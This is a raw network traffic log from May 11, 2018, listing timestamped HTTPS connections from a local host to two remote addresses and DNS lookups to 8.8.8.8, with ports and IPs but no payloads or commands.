May 11, 2018 14:13:19.511316061 CEST	49193	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:19.512406111 CEST	49193	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:19.512428999 CEST	443	49193	216.239.32.21	192.168.1.13
May 11, 2018 14:13:19.667407990 CEST	443	49193	216.239.32.21	192.168.1.13
May 11, 2018 14:13:19.667448044 CEST	443	49193	216.239.32.21	192.168.1.13
May 11, 2018 14:13:19.667458057 CEST	443	49193	216.239.32.21	192.168.1.13
May 11, 2018 14:13:19.667542934 CEST	49193	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:19.676243067 CEST	49193	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:19.676260948 CEST	443	49193	216.239.32.21	192.168.1.13
May 11, 2018 14:13:19.751307964 CEST	443	49193	216.239.32.21	192.168.1.13
May 11, 2018 14:13:19.751414061 CEST	49193	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:19.865396976 CEST	49193	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:19.865566969 CEST	443	49193	216.239.32.21	192.168.1.13
May 11, 2018 14:13:19.865684032 CEST	49193	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:21.177136898 CEST	49194	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:21.177196026 CEST	443	49194	216.239.38.21	192.168.1.13
May 11, 2018 14:13:21.177294970 CEST	49194	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:21.179598093 CEST	49194	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:21.179641962 CEST	443	49194	216.239.38.21	192.168.1.13
May 11, 2018 14:13:21.257209063 CEST	443	49194	216.239.38.21	192.168.1.13
May 11, 2018 14:13:21.257323980 CEST	49194	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:21.310899973 CEST	49194	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:21.310951948 CEST	443	49194	216.239.38.21	192.168.1.13
May 11, 2018 14:13:21.312076092 CEST	49195	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:21.312115908 CEST	443	49195	216.239.38.21	192.168.1.13
May 11, 2018 14:13:21.312244892 CEST	49195	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:21.313071966 CEST	49195	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:21.313118935 CEST	443	49195	216.239.38.21	192.168.1.13
May 11, 2018 14:13:21.470866919 CEST	443	49195	216.239.38.21	192.168.1.13
May 11, 2018 14:13:21.470964909 CEST	49195	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:21.471152067 CEST	49195	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:21.471178055 CEST	443	49195	216.239.38.21	192.168.1.13
May 11, 2018 14:13:21.472527027 CEST	49196	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:21.472568035 CEST	443	49196	216.239.38.21	192.168.1.13
May 11, 2018 14:13:21.472660065 CEST	49196	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:21.473512888 CEST	49196	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:21.473543882 CEST	443	49196	216.239.38.21	192.168.1.13
May 11, 2018 14:13:21.561141968 CEST	443	49196	216.239.38.21	192.168.1.13
May 11, 2018 14:13:21.561281919 CEST	49196	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:21.561594963 CEST	49196	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:21.561630011 CEST	443	49196	216.239.38.21	192.168.1.13
May 11, 2018 14:13:21.562800884 CEST	49197	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:21.562840939 CEST	443	49197	216.239.38.21	192.168.1.13
May 11, 2018 14:13:21.562911987 CEST	49197	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:21.563378096 CEST	49197	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:21.563776016 CEST	443	49197	216.239.38.21	192.168.1.13
May 11, 2018 14:13:21.563883066 CEST	49197	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:21.565047979 CEST	49198	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:21.565082073 CEST	443	49198	216.239.32.21	192.168.1.13
May 11, 2018 14:13:21.565152884 CEST	49198	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:21.566163063 CEST	49198	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:21.566203117 CEST	443	49198	216.239.32.21	192.168.1.13
May 11, 2018 14:13:21.677179098 CEST	443	49198	216.239.32.21	192.168.1.13
May 11, 2018 14:13:21.677200079 CEST	443	49198	216.239.32.21	192.168.1.13
May 11, 2018 14:13:21.677206039 CEST	443	49198	216.239.32.21	192.168.1.13
May 11, 2018 14:13:21.677277088 CEST	49198	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:21.688370943 CEST	49198	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:21.688406944 CEST	443	49198	216.239.32.21	192.168.1.13
May 11, 2018 14:13:21.761262894 CEST	443	49198	216.239.32.21	192.168.1.13
May 11, 2018 14:13:21.761414051 CEST	49198	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:21.824443102 CEST	49198	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:21.824575901 CEST	443	49198	216.239.32.21	192.168.1.13
May 11, 2018 14:13:21.824695110 CEST	49198	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:21.826113939 CEST	49199	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:21.826157093 CEST	443	49199	216.239.38.21	192.168.1.13
May 11, 2018 14:13:21.826431036 CEST	49199	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:21.827413082 CEST	49199	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:21.827441931 CEST	443	49199	216.239.38.21	192.168.1.13
May 11, 2018 14:13:22.055006027 CEST	443	49199	216.239.38.21	192.168.1.13
May 11, 2018 14:13:22.055385113 CEST	49199	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:22.055665970 CEST	49199	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:22.055692911 CEST	443	49199	216.239.38.21	192.168.1.13
May 11, 2018 14:13:22.057111025 CEST	49200	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:22.057145119 CEST	443	49200	216.239.38.21	192.168.1.13
May 11, 2018 14:13:22.057228088 CEST	49200	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:22.058423042 CEST	49200	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:22.058444977 CEST	443	49200	216.239.38.21	192.168.1.13
May 11, 2018 14:13:22.259283066 CEST	443	49200	216.239.38.21	192.168.1.13
May 11, 2018 14:13:22.259387016 CEST	49200	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:22.259871006 CEST	49200	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:22.259907007 CEST	443	49200	216.239.38.21	192.168.1.13
May 11, 2018 14:13:22.261687994 CEST	49201	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:22.261730909 CEST	443	49201	216.239.38.21	192.168.1.13
May 11, 2018 14:13:22.261825085 CEST	49201	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:22.262839079 CEST	49201	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:22.262866020 CEST	443	49201	216.239.38.21	192.168.1.13
May 11, 2018 14:13:22.429960012 CEST	50453	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:22.454827070 CEST	443	49201	216.239.38.21	192.168.1.13
May 11, 2018 14:13:22.455421925 CEST	49201	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:22.455612898 CEST	49201	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:22.455637932 CEST	443	49201	216.239.38.21	192.168.1.13
May 11, 2018 14:13:22.457197905 CEST	49202	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:22.457230091 CEST	443	49202	216.239.38.21	192.168.1.13
May 11, 2018 14:13:22.457295895 CEST	49202	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:22.458317041 CEST	49202	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:22.458383083 CEST	443	49202	216.239.38.21	192.168.1.13
May 11, 2018 14:13:22.458976030 CEST	49202	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:22.524421930 CEST	53	50453	8.8.8.8	192.168.1.13
May 11, 2018 14:13:22.661784887 CEST	50936	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:22.758654118 CEST	53	50936	8.8.8.8	192.168.1.13
May 11, 2018 14:13:27.250926971 CEST	49288	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:27.354892969 CEST	53	49288	8.8.8.8	192.168.1.13
May 11, 2018 14:13:27.384928942 CEST	49204	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:27.385009050 CEST	443	49204	216.239.32.21	192.168.1.13
May 11, 2018 14:13:27.385103941 CEST	49204	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:27.397654057 CEST	52651	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:27.494971037 CEST	49204	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:27.495008945 CEST	443	49204	216.239.32.21	192.168.1.13
May 11, 2018 14:13:27.512604952 CEST	53	52651	8.8.8.8	192.168.1.13
May 11, 2018 14:13:27.556993961 CEST	443	49204	216.239.32.21	192.168.1.13
May 11, 2018 14:13:27.557070017 CEST	49204	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:27.652404070 CEST	443	49204	216.239.32.21	192.168.1.13
May 11, 2018 14:13:27.652431965 CEST	443	49204	216.239.32.21	192.168.1.13
May 11, 2018 14:13:27.652563095 CEST	49204	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:27.662580013 CEST	49204	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:27.662601948 CEST	443	49204	216.239.32.21	192.168.1.13
May 11, 2018 14:13:27.746315956 CEST	443	49204	216.239.32.21	192.168.1.13
May 11, 2018 14:13:27.747077942 CEST	49204	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:28.860169888 CEST	49204	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:28.860310078 CEST	443	49204	216.239.32.21	192.168.1.13
May 11, 2018 14:13:28.860438108 CEST	49204	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:28.871161938 CEST	49205	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:28.871206999 CEST	443	49205	216.239.38.21	192.168.1.13
May 11, 2018 14:13:28.871293068 CEST	49205	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:28.872667074 CEST	49205	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:28.872690916 CEST	443	49205	216.239.38.21	192.168.1.13
May 11, 2018 14:13:29.063153982 CEST	443	49205	216.239.38.21	192.168.1.13
May 11, 2018 14:13:29.063288927 CEST	49205	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.068588018 CEST	49205	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.068629980 CEST	443	49205	216.239.38.21	192.168.1.13
May 11, 2018 14:13:29.071533918 CEST	49206	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.071564913 CEST	443	49206	216.239.38.21	192.168.1.13
May 11, 2018 14:13:29.071666956 CEST	49206	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.072856903 CEST	49206	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.072875977 CEST	443	49206	216.239.38.21	192.168.1.13
May 11, 2018 14:13:29.201050997 CEST	443	49206	216.239.38.21	192.168.1.13
May 11, 2018 14:13:29.201149940 CEST	49206	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.201793909 CEST	49206	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.201817036 CEST	443	49206	216.239.38.21	192.168.1.13
May 11, 2018 14:13:29.203129053 CEST	49207	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.203161955 CEST	443	49207	216.239.38.21	192.168.1.13
May 11, 2018 14:13:29.203233004 CEST	49207	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.204221964 CEST	49207	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.204242945 CEST	443	49207	216.239.38.21	192.168.1.13
May 11, 2018 14:13:29.355072975 CEST	443	49207	216.239.38.21	192.168.1.13
May 11, 2018 14:13:29.355201006 CEST	49207	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.355410099 CEST	49207	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.355441093 CEST	443	49207	216.239.38.21	192.168.1.13
May 11, 2018 14:13:29.356785059 CEST	49208	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.356822968 CEST	443	49208	216.239.38.21	192.168.1.13
May 11, 2018 14:13:29.356909990 CEST	49208	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.357409954 CEST	49208	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.357692003 CEST	443	49208	216.239.38.21	192.168.1.13
May 11, 2018 14:13:29.357790947 CEST	49208	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.359390974 CEST	49209	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:29.359421015 CEST	443	49209	216.239.32.21	192.168.1.13
May 11, 2018 14:13:29.359488964 CEST	49209	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:29.360554934 CEST	49209	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:29.360578060 CEST	443	49209	216.239.32.21	192.168.1.13
May 11, 2018 14:13:29.555418015 CEST	443	49209	216.239.32.21	192.168.1.13
May 11, 2018 14:13:29.555525064 CEST	49209	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:29.567440033 CEST	443	49209	216.239.32.21	192.168.1.13
May 11, 2018 14:13:29.567468882 CEST	443	49209	216.239.32.21	192.168.1.13
May 11, 2018 14:13:29.567605019 CEST	49209	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:29.584604979 CEST	49209	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:29.584677935 CEST	443	49209	216.239.32.21	192.168.1.13
May 11, 2018 14:13:29.655623913 CEST	443	49209	216.239.32.21	192.168.1.13
May 11, 2018 14:13:29.655775070 CEST	49209	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:29.730165958 CEST	49209	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:29.730341911 CEST	443	49209	216.239.32.21	192.168.1.13
May 11, 2018 14:13:29.730437040 CEST	49209	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:29.732254982 CEST	49210	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.732299089 CEST	443	49210	216.239.38.21	192.168.1.13
May 11, 2018 14:13:29.732816935 CEST	49210	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.733793974 CEST	49210	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.733822107 CEST	443	49210	216.239.38.21	192.168.1.13
May 11, 2018 14:13:29.906748056 CEST	443	49210	216.239.38.21	192.168.1.13
May 11, 2018 14:13:29.906861067 CEST	49210	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.907057047 CEST	49210	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.907083988 CEST	443	49210	216.239.38.21	192.168.1.13
May 11, 2018 14:13:29.908456087 CEST	49211	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.908493042 CEST	443	49211	216.239.38.21	192.168.1.13
May 11, 2018 14:13:29.908566952 CEST	49211	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.909537077 CEST	49211	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:29.909562111 CEST	443	49211	216.239.38.21	192.168.1.13
May 11, 2018 14:13:30.107474089 CEST	443	49211	216.239.38.21	192.168.1.13
May 11, 2018 14:13:30.107589006 CEST	49211	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:30.107832909 CEST	49211	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:30.107871056 CEST	443	49211	216.239.38.21	192.168.1.13
May 11, 2018 14:13:30.109472036 CEST	49212	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:30.109509945 CEST	443	49212	216.239.38.21	192.168.1.13
May 11, 2018 14:13:30.109991074 CEST	49212	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:30.111087084 CEST	49212	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:30.111110926 CEST	443	49212	216.239.38.21	192.168.1.13
May 11, 2018 14:13:30.311909914 CEST	443	49212	216.239.38.21	192.168.1.13
May 11, 2018 14:13:30.312361002 CEST	49212	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:30.965751886 CEST	49212	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:30.965780020 CEST	443	49212	216.239.38.21	192.168.1.13
May 11, 2018 14:13:30.974857092 CEST	49213	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:30.974912882 CEST	443	49213	216.239.38.21	192.168.1.13
May 11, 2018 14:13:30.975104094 CEST	49213	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:30.977780104 CEST	49213	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:30.977929115 CEST	443	49213	216.239.38.21	192.168.1.13
May 11, 2018 14:13:30.978399992 CEST	49213	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:31.258371115 CEST	49214	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:31.258419991 CEST	443	49214	216.239.32.21	192.168.1.13
May 11, 2018 14:13:31.258867025 CEST	49214	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:31.260143042 CEST	49214	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:31.260171890 CEST	443	49214	216.239.32.21	192.168.1.13
May 11, 2018 14:13:31.438731909 CEST	49215	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:31.438775063 CEST	443	49215	216.239.32.21	192.168.1.13
May 11, 2018 14:13:31.438975096 CEST	49215	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:31.445616961 CEST	443	49214	216.239.32.21	192.168.1.13
May 11, 2018 14:13:31.445836067 CEST	49214	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:31.466962099 CEST	443	49214	216.239.32.21	192.168.1.13
May 11, 2018 14:13:31.467016935 CEST	443	49214	216.239.32.21	192.168.1.13
May 11, 2018 14:13:31.467216015 CEST	49214	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:31.485397100 CEST	49214	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:31.485418081 CEST	443	49214	216.239.32.21	192.168.1.13
May 11, 2018 14:13:31.649055004 CEST	443	49214	216.239.32.21	192.168.1.13
May 11, 2018 14:13:31.649372101 CEST	49214	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:31.707648993 CEST	49214	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:31.707822084 CEST	443	49214	216.239.32.21	192.168.1.13
May 11, 2018 14:13:31.708796978 CEST	49214	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:31.709640980 CEST	49216	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:31.709676981 CEST	443	49216	216.239.38.21	192.168.1.13
May 11, 2018 14:13:31.709800959 CEST	49216	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:31.711097956 CEST	49216	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:31.711122990 CEST	443	49216	216.239.38.21	192.168.1.13
May 11, 2018 14:13:31.854873896 CEST	443	49216	216.239.38.21	192.168.1.13
May 11, 2018 14:13:31.855071068 CEST	49216	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:31.855271101 CEST	49216	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:31.855299950 CEST	443	49216	216.239.38.21	192.168.1.13
May 11, 2018 14:13:31.857064962 CEST	49217	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:31.857100964 CEST	443	49217	216.239.38.21	192.168.1.13
May 11, 2018 14:13:31.857180119 CEST	49217	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:31.858620882 CEST	49217	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:31.858649969 CEST	443	49217	216.239.38.21	192.168.1.13
May 11, 2018 14:13:32.006459951 CEST	443	49217	216.239.38.21	192.168.1.13
May 11, 2018 14:13:32.006567955 CEST	49217	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:32.006733894 CEST	49217	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:32.006758928 CEST	443	49217	216.239.38.21	192.168.1.13
May 11, 2018 14:13:32.008068085 CEST	49218	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:32.008106947 CEST	443	49218	216.239.38.21	192.168.1.13
May 11, 2018 14:13:32.008686066 CEST	49218	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:32.009875059 CEST	49218	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:32.009900093 CEST	443	49218	216.239.38.21	192.168.1.13
May 11, 2018 14:13:32.208121061 CEST	443	49218	216.239.38.21	192.168.1.13
May 11, 2018 14:13:32.208331108 CEST	49218	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:32.208543062 CEST	49218	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:32.208575010 CEST	443	49218	216.239.38.21	192.168.1.13
May 11, 2018 14:13:32.210140944 CEST	49219	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:32.210191965 CEST	443	49219	216.239.38.21	192.168.1.13
May 11, 2018 14:13:32.210319996 CEST	49219	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:32.210910082 CEST	49219	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:32.211008072 CEST	443	49219	216.239.38.21	192.168.1.13
May 11, 2018 14:13:32.211841106 CEST	49219	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:33.893663883 CEST	55301	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:33.903887987 CEST	54419	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:34.000647068 CEST	53	55301	8.8.8.8	192.168.1.13
May 11, 2018 14:13:34.000706911 CEST	53	54419	8.8.8.8	192.168.1.13
May 11, 2018 14:13:34.025628090 CEST	55031	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:34.032495975 CEST	57650	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:34.036679029 CEST	49416	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:34.043179989 CEST	50121	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:34.153059959 CEST	53	57650	8.8.8.8	192.168.1.13
May 11, 2018 14:13:34.153117895 CEST	53	49416	8.8.8.8	192.168.1.13
May 11, 2018 14:13:34.194103003 CEST	53	50121	8.8.8.8	192.168.1.13
May 11, 2018 14:13:34.303980112 CEST	53	55031	8.8.8.8	192.168.1.13
May 11, 2018 14:13:34.401740074 CEST	49215	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:34.401768923 CEST	443	49215	216.239.32.21	192.168.1.13
May 11, 2018 14:13:34.421216965 CEST	62370	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:34.424866915 CEST	58664	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:34.528562069 CEST	53	62370	8.8.8.8	192.168.1.13
May 11, 2018 14:13:34.528636932 CEST	53	58664	8.8.8.8	192.168.1.13
May 11, 2018 14:13:34.549340963 CEST	443	49215	216.239.32.21	192.168.1.13
May 11, 2018 14:13:34.549460888 CEST	49215	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:34.560173988 CEST	443	49215	216.239.32.21	192.168.1.13
May 11, 2018 14:13:34.560197115 CEST	443	49215	216.239.32.21	192.168.1.13
May 11, 2018 14:13:34.560328007 CEST	49215	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:35.286415100 CEST	49215	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:35.286449909 CEST	443	49215	216.239.32.21	192.168.1.13
May 11, 2018 14:13:35.566096067 CEST	443	49215	216.239.32.21	192.168.1.13
May 11, 2018 14:13:35.566237926 CEST	49215	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:37.160372972 CEST	56915	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:37.238379002 CEST	53	56915	8.8.8.8	192.168.1.13
May 11, 2018 14:13:39.526729107 CEST	49224	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:39.526776075 CEST	443	49224	216.239.32.21	192.168.1.13
May 11, 2018 14:13:39.527101040 CEST	49224	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:41.686546087 CEST	49224	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:41.686604023 CEST	443	49224	216.239.32.21	192.168.1.13
May 11, 2018 14:13:41.757023096 CEST	443	49224	216.239.32.21	192.168.1.13
May 11, 2018 14:13:41.757111073 CEST	49224	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:41.848263979 CEST	443	49224	216.239.32.21	192.168.1.13
May 11, 2018 14:13:41.848295927 CEST	443	49224	216.239.32.21	192.168.1.13
May 11, 2018 14:13:41.848383904 CEST	49224	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:42.285569906 CEST	49224	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:42.285598040 CEST	443	49224	216.239.32.21	192.168.1.13
May 11, 2018 14:13:42.348515987 CEST	60435	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:42.365370989 CEST	443	49224	216.239.32.21	192.168.1.13
May 11, 2018 14:13:42.365483999 CEST	49224	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:42.422307968 CEST	59799	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:42.443893909 CEST	53	60435	8.8.8.8	192.168.1.13
May 11, 2018 14:13:42.525074959 CEST	51000	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:42.531320095 CEST	53	59799	8.8.8.8	192.168.1.13
May 11, 2018 14:13:42.618696928 CEST	53	51000	8.8.8.8	192.168.1.13
May 11, 2018 14:13:44.347136974 CEST	49225	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:44.347196102 CEST	443	49225	216.239.32.21	192.168.1.13
May 11, 2018 14:13:44.347332954 CEST	49225	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:44.889256954 CEST	49226	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:44.889311075 CEST	443	49226	216.239.32.21	192.168.1.13
May 11, 2018 14:13:44.889400959 CEST	49226	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:45.083688021 CEST	49227	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:45.083745956 CEST	443	49227	216.239.32.21	192.168.1.13
May 11, 2018 14:13:45.083834887 CEST	49227	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:46.445158005 CEST	49225	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:46.445194960 CEST	443	49225	216.239.32.21	192.168.1.13
May 11, 2018 14:13:46.550175905 CEST	443	49225	216.239.32.21	192.168.1.13
May 11, 2018 14:13:46.551071882 CEST	49225	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:46.561359882 CEST	443	49225	216.239.32.21	192.168.1.13
May 11, 2018 14:13:46.561386108 CEST	443	49225	216.239.32.21	192.168.1.13
May 11, 2018 14:13:46.561516047 CEST	49225	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:46.662668943 CEST	49226	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:46.662719965 CEST	443	49226	216.239.32.21	192.168.1.13
May 11, 2018 14:13:46.729001999 CEST	49227	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:46.729051113 CEST	443	49227	216.239.32.21	192.168.1.13
May 11, 2018 14:13:46.741579056 CEST	49225	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:46.741616011 CEST	443	49225	216.239.32.21	192.168.1.13
May 11, 2018 14:13:46.755502939 CEST	443	49226	216.239.32.21	192.168.1.13
May 11, 2018 14:13:46.755577087 CEST	49226	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:46.766796112 CEST	443	49226	216.239.32.21	192.168.1.13
May 11, 2018 14:13:46.766818047 CEST	443	49226	216.239.32.21	192.168.1.13
May 11, 2018 14:13:46.766967058 CEST	49226	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:46.842869997 CEST	443	49227	216.239.32.21	192.168.1.13
May 11, 2018 14:13:46.843043089 CEST	49227	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:46.864478111 CEST	443	49227	216.239.32.21	192.168.1.13
May 11, 2018 14:13:46.864504099 CEST	443	49227	216.239.32.21	192.168.1.13
May 11, 2018 14:13:46.864531994 CEST	443	49225	216.239.32.21	192.168.1.13
May 11, 2018 14:13:46.864593983 CEST	49227	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:46.864620924 CEST	49225	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:46.959301949 CEST	49226	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:46.959330082 CEST	443	49226	216.239.32.21	192.168.1.13
May 11, 2018 14:13:47.045912981 CEST	443	49226	216.239.32.21	192.168.1.13
May 11, 2018 14:13:47.046049118 CEST	49226	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:47.106702089 CEST	49227	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:47.106739044 CEST	443	49227	216.239.32.21	192.168.1.13
May 11, 2018 14:13:47.255137920 CEST	443	49227	216.239.32.21	192.168.1.13
May 11, 2018 14:13:47.255677938 CEST	49227	443	192.168.1.13	216.239.32.21
